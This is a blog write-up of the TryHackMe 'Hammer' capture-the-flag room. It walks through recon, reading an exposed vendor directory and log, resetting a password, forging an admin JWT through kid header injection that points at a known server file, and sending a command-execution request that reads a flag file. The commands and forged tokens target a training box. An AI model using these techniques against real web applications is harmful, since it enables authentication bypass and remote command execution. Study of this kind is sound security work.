Skip to main content

Command Palette

Search for a command to run...

Challenge: Hammer (TryHackMe)

Updated
8 min readView as Markdown
J
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Challenge on TryHackMe: Hammer

Introduction

Hammer is a web-focused THM challenge that chains together several small missteps into a full authentication bypass and RCE. The box exposes a login portal running on Apache with a firebase/php-jwt dependency visible via an exposed /vendor directory — a strong hint that JWT handling would be the eventual payoff. Getting there required working through a password reset flow with a brute-forceable 4-digit OTP, then exploiting a classic JWT kid header injection to forge an admin token and reach a command execution endpoint.

With the Hammer in hand, can you bypass the authentication mechanisms and get RCE on the system?

Answer the questions below

nmap -p- -sV IP_Address

PORT     STATE SERVICE VERSION

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)

1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
gobuster dir -u http://IP_Address:1337 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,tsx,js

/.html                (Status: 403) [Size: 281]
/.hta.php             (Status: 403) [Size: 281]
/.hta.html            (Status: 403) [Size: 281]
/.hta                 (Status: 403) [Size: 281]
/.htaccess            (Status: 403) [Size: 281]
/.hta.js              (Status: 403) [Size: 281]
/.hta.tsx             (Status: 403) [Size: 281]
/.hta.txt             (Status: 403) [Size: 281]
/.htaccess.tsx        (Status: 403) [Size: 281]
/.htaccess.php        (Status: 403) [Size: 281]
/.htaccess.js         (Status: 403) [Size: 281]
/.htaccess.html       (Status: 403) [Size: 281]
/.htpasswd.php        (Status: 403) [Size: 281]
/.htpasswd            (Status: 403) [Size: 281]
/.htaccess.txt        (Status: 403) [Size: 281]
/.htpasswd.txt        (Status: 403) [Size: 281]
/.htpasswd.html       (Status: 403) [Size: 281]
/.htpasswd.tsx        (Status: 403) [Size: 281]
/.htpasswd.js         (Status: 403) [Size: 281]
/.php                 (Status: 403) [Size: 281]
/config.php           (Status: 200) [Size: 0]
/dashboard.php        (Status: 302) [Size: 0] [--> logout.php]
/index.php            (Status: 200) [Size: 1326]
/index.php            (Status: 200) [Size: 1326]
/javascript           (Status: 301) [Size: 328] [--> http://IP_Address:1337/javascript/]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/phpmyadmin           (Status: 301) [Size: 328] [--> http://IP_Address:1337/phpmyadmin/]
/server-status        (Status: 403) [Size: 281]
/vendor               (Status: 301) [Size: 324]
curl -s http://IP_Address:1337/vendor/composer/installed.json | head -100
[
    {
        "name": "firebase/php-jwt",
        "version": "v6.10.0",
        "version_normalized": "6.10.0.0",
        "source": {
            "type": "git",
            "url": "https://github.com/firebase/php-jwt.git",
            "reference": "a49db6f0a5033aef5143295342f1c95521b075ff"
        },
        "dist": {
            "type": "zip",
            "url": "https://api.github.com/repos/firebase/php-jwt/zipball/a49db6f0a5033aef5143295342f1c95521b075ff",
            "reference": "a49db6f0a5033aef5143295342f1c95521b075ff",
            "shasum": ""
        },
        "require": {
            "php": "^7.4||^8.0"
        },
        "require-dev": {
            "guzzlehttp/guzzle": "^6.5||^7.4",
            "phpspec/prophecy-phpunit": "^2.0",
            "phpunit/phpunit": "^9.5",
            "psr/cache": "^1.0||^2.0",
            "psr/http-client": "^1.0",
            "psr/http-factory": "^1.0"
        },
        "suggest": {
            "ext-sodium": "Support EdDSA (Ed25519) signatures",
            "paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present"
        },
        "time": "2023-12-01T16:26:39+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Firebase\\JWT\\": "src"
            }
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "BSD-3-Clause"
        ],
        "authors": [
            {
                "name": "Neuman Vong",
                "email": "neuman+pear@twilio.com",
                "role": "Developer"
            },
            {
                "name": "Anant Narayanan",
                "email": "anant@php.net",
                "role": "Developer"
            }
        ],
        "description": "A simple library to encode and decode JSON Web Tokens (JWT) in PHP. Should conform to the current spec.",
        "homepage": "https://github.com/firebase/php-jwt",
        "keywords": [
            "jwt",
            "php"
        ]
    }
]
curl -s http://IP_Address:1337/hmr_logs/error.logs
[Mon Aug 19 12:00:01.123456 2024] [core:error] [pid 12345:tid 139999999999999] [client 192.168.1.10:56832] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/
[Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch
[Mon Aug 19 12:03:45.765432 2024] [authz_core:error] [pid 12348:tid 139999999999996] [client 192.168.1.20:37254] AH01627: client denied by server configuration: /etc/shadow
[Mon Aug 19 12:04:56.654321 2024] [core:error] [pid 12349:tid 139999999999995] [client 192.168.1.22:38100] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/protected
[Mon Aug 19 12:05:07.543210 2024] [authz_core:error] [pid 12350:tid 139999999999994] [client 192.168.1.25:46234] AH01627: client denied by server configuration: /home/hammerthm/test.php
[Mon Aug 19 12:06:18.432109 2024] [authz_core:error] [pid 12351:tid 139999999999993] [client 192.168.1.30:40232] AH01617: user tester@hammer.thm: authentication failure for "/admin-login": Invalid email address
[Mon Aug 19 12:07:29.321098 2024] [core:error] [pid 12352:tid 139999999999992] [client 192.168.1.35:42310] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:09:51.109876 2024] [core:error] [pid 12354:tid 139999999999990] [client 192.168.1.50:45998] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/locked-down
root@ip-10-113-106-164:~# 
set +H
curl -s -b cookies.txt -i -X POST http://IP_Address:1337/reset_password.php \
  -d 'new_password=Hammer123!&confirm_password=Hammer123!'
HTTP/1.1 302 Found
Date: Sat, 05 Sep 2026 08:06:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Rate-Limit-Pending: 7
Location: index.php
Content-Length: 37
Content-Type: text/html; charset=UTF-8

Password has been reset successfully!
curl -s -i -X POST http://IP_Address:1337/index.php \
  -d 'email=tester@hammer.thm&password=Hammer123!'
HTTP/1.1 302 Found
Date: Sat, 05 Sep 2026 08:06:57 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=tt6j97l5n2ao579vhngb5k1o62; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzg4NTk1NjE3LCJleHAiOjE3ODg1OTkyMTcsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.XZK23e70W2P4fpBCVRl9cQHoZlxmQAWQjrwvPVqWNTo; expires=Sat, 05-Sep-2026 08:16:57 GMT; Max-Age=600; path=/
Set-Cookie: persistentSession=no; expires=Sat, 05-Sep-2026 08:07:17 GMT; Max-Age=20; path=/
Location: dashboard.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8

jwt.io: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9

{
  "typ": "JWT",
  "alg": "HS256",
  "kid": "/var/www/mykey.key"
}
{"iss":"http://hammer.thm","aud":"http://hammer.thm","iat":1788595617,"exp":1788599217,"data":{"user_id":1,"email":"tester@hammer.thm","role":"user"}}
curl -s http://IP_Address:1337/vendor/composer/installed.json
[
    {
        "name": "firebase/php-jwt",
        "version": "v6.10.0",
        "version_normalized": "6.10.0.0",
        "source": {
            "type": "git",
            "url": "https://github.com/firebase/php-jwt.git",
            "reference": "a49db6f0a5033aef5143295342f1c95521b075ff"
        },
        "dist": {
            "type": "zip",
            "url": "https://api.github.com/repos/firebase/php-jwt/zipball/a49db6f0a5033aef5143295342f1c95521b075ff",
            "reference": "a49db6f0a5033aef5143295342f1c95521b075ff",
            "shasum": ""
        },
        "require": {
            "php": "^7.4||^8.0"
        },
        "require-dev": {
            "guzzlehttp/guzzle": "^6.5||^7.4",
            "phpspec/prophecy-phpunit": "^2.0",
            "phpunit/phpunit": "^9.5",
            "psr/cache": "^1.0||^2.0",
            "psr/http-client": "^1.0",
            "psr/http-factory": "^1.0"
        },
        "suggest": {
            "ext-sodium": "Support EdDSA (Ed25519) signatures",
            "paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present"
        },
        "time": "2023-12-01T16:26:39+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Firebase\\JWT\\": "src"
            }
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "BSD-3-Clause"
        ],
        "authors": [
            {
                "name": "Neuman Vong",
                "email": "neuman+pear@twilio.com",
                "role": "Developer"
            },
            {
                "name": "Anant Narayanan",
                "email": "anant@php.net",
                "role": "Developer"
            }
        ],
        "description": "A simple library to encode and decode JSON Web Tokens (JWT) in PHP. Should conform to the current spec.",
        "homepage": "https://github.com/firebase/php-jwt",
        "keywords": [
            "jwt",
            "php"
        ]
    }
]
 curl -s -i -b "PHPSESSID=tt6j97l5n2ao579vhngb5k1o62; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzg4NTk1NjE3LCJleHAiOjE3ODg1OTkyMTcsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.XZK23e70W2P4fpBCVRl9cQHoZlxmQAWQjrwvPVqWNTo" \
  http://IP_Address:1337/dashboard.php
HTTP/1.1 302 Found
Date: Sat, 05 Sep 2026 08:10:25 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: logout.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8

What is the flag value after logging in to the dashboard?

 curl -s -c fresh_cookies.txt -X POST http://IP_Address:1337/index.php \
  -d 'email=tester@hammer.thm&password=Hammer123!' > /dev/null

curl -s -i -b fresh_cookies.txt http://IP_Address:1337/dashboard.php
HTTP/1.1 200 OK
Date: Sat, 05 Sep 2026 08:11:20 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3152
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dashboard</title>
    <link href="/hmr_css/bootstrap.min.css" rel="stylesheet">
    <script src="/hmr_js/jquery-3.6.0.min.js"></script>
    <style>
        body {
            background: url('/hmr_images/hammer.webp') no-repeat center center fixed;
            background-size: cover;
        }
        .container {
            position: relative;
            z-index: 10; /* Make sure the content is above the background */
            background-color: rgba(255, 255, 255, 0.8); /* Slight white background for readability */
            padding: 20px;
            border-radius: 10px;
        }
    </style>
	
	    <script>
       
        function getCookie(name) {
            const value = `; ${document.cookie}`;
            const parts = value.split(`; ${name}=`);
            if (parts.length === 2) return parts.pop().split(';').shift();
        }

      
        function checkTrailUserCookie() {
            const trailUser = getCookie('persistentSession');
            if (!trailUser) {
          
                window.location.href = 'logout.php';
            }
        }

       
        setInterval(checkTrailUserCookie, 1000); 
    </script>

</head>
<body>
<div class="container mt-5">
    <div class="row justify-content-center">
        <div class="col-md-6">
            <h3>Welcome, Thor! - Flag: THM{AuthBypass3D}</h3>
            <p>Your role: user</p>
            
            <div>
                <input type="text" id="command" class="form-control" placeholder="Enter command">
                <button id="submitCommand" class="btn btn-primary mt-3">Submit</button>
                <pre id="commandOutput" class="mt-3"></pre>
            </div>
            
            <a href="logout.php" class="btn btn-danger mt-3">Logout</a>
        </div>
    </div>
</div>

<script>
$(document).ready(function() {
    $('#submitCommand').click(function() {
        var command = $('#command').val();
        var jwtToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzg4NTk1ODgwLCJleHAiOjE3ODg1OTk0ODAsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.mdBYbRDxju9MybzZYmLq3MOren_NjHuQKTXmTdCY3A8';

        // Make an AJAX call to the server to execute the command
        $.ajax({
            url: 'execute_command.php',
            method: 'POST',
            data: JSON.stringify({ command: command }),
            contentType: 'application/json',
            headers: {
                'Authorization': 'Bearer ' + jwtToken
            },
            success: function(response) {
                $('#commandOutput').text(response.output || response.error);
            },
            error: function() {
                $('#commandOutput').text('Error executing command.');
            }
        });
    });
});
</script>
</body>
</html>

What is the content of the file /home/ubuntu/flag.txt

pip install pyjwt --break-system-packages
Collecting pyjwt
  Downloading PyJWT-2.9.0-py3-none-any.whl (22 kB)
Installing collected packages: pyjwt
Successfully installed pyjwt-2.9.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv

[notice] A new release of pip is available: 23.0.1 -> 25.0.1
[notice] To update, run: pip install --upgrade pip
root@ip-10-112-114-238:~# curl -s http://IP_Address:1337/index.php -o index_content.php
root@ip-10-112-114-238:~# nano forge.py
root@ip-10-112-114-238:~# python3 forge.py
eyJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvaW5kZXgucGhwIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzg4NTk1ODgwLCJleHAiOjE5ODg1OTk5OTksImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.lBmQS55ZEvXfuvz-hwcvA2tecWPdGQwMuqWoK058wNU
curl -s -c sess.txt -X POST http://IP_Address:1337/index.php \
  -d 'email=tester@hammer.thm&password=Hammer123!' > /dev/null && \
curl -s -b sess.txt -X POST http://IP_Address:1337/execute_command.php \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /home/ubuntu/flag.txt"}'
{"output":"THM{RUNANYCOMMAND1337}\n"}

Conclusion:

Hammer is a solid demonstration of how JWT implementation flaws, not the library itself, create real vulnerabilities. The kid header pointing directly to a filesystem path let me supply my own HMAC secret by pointing it at a static file whose contents I already knew — a textbook kid injection leading to token forgery and privilege escalation from user to admin. Combined with a weak, brute-forceable OTP reset flow, this box is a good reminder that convenience features like password reset and "trust the client's chosen key" JWT patterns are common places where auth logic quietly breaks down.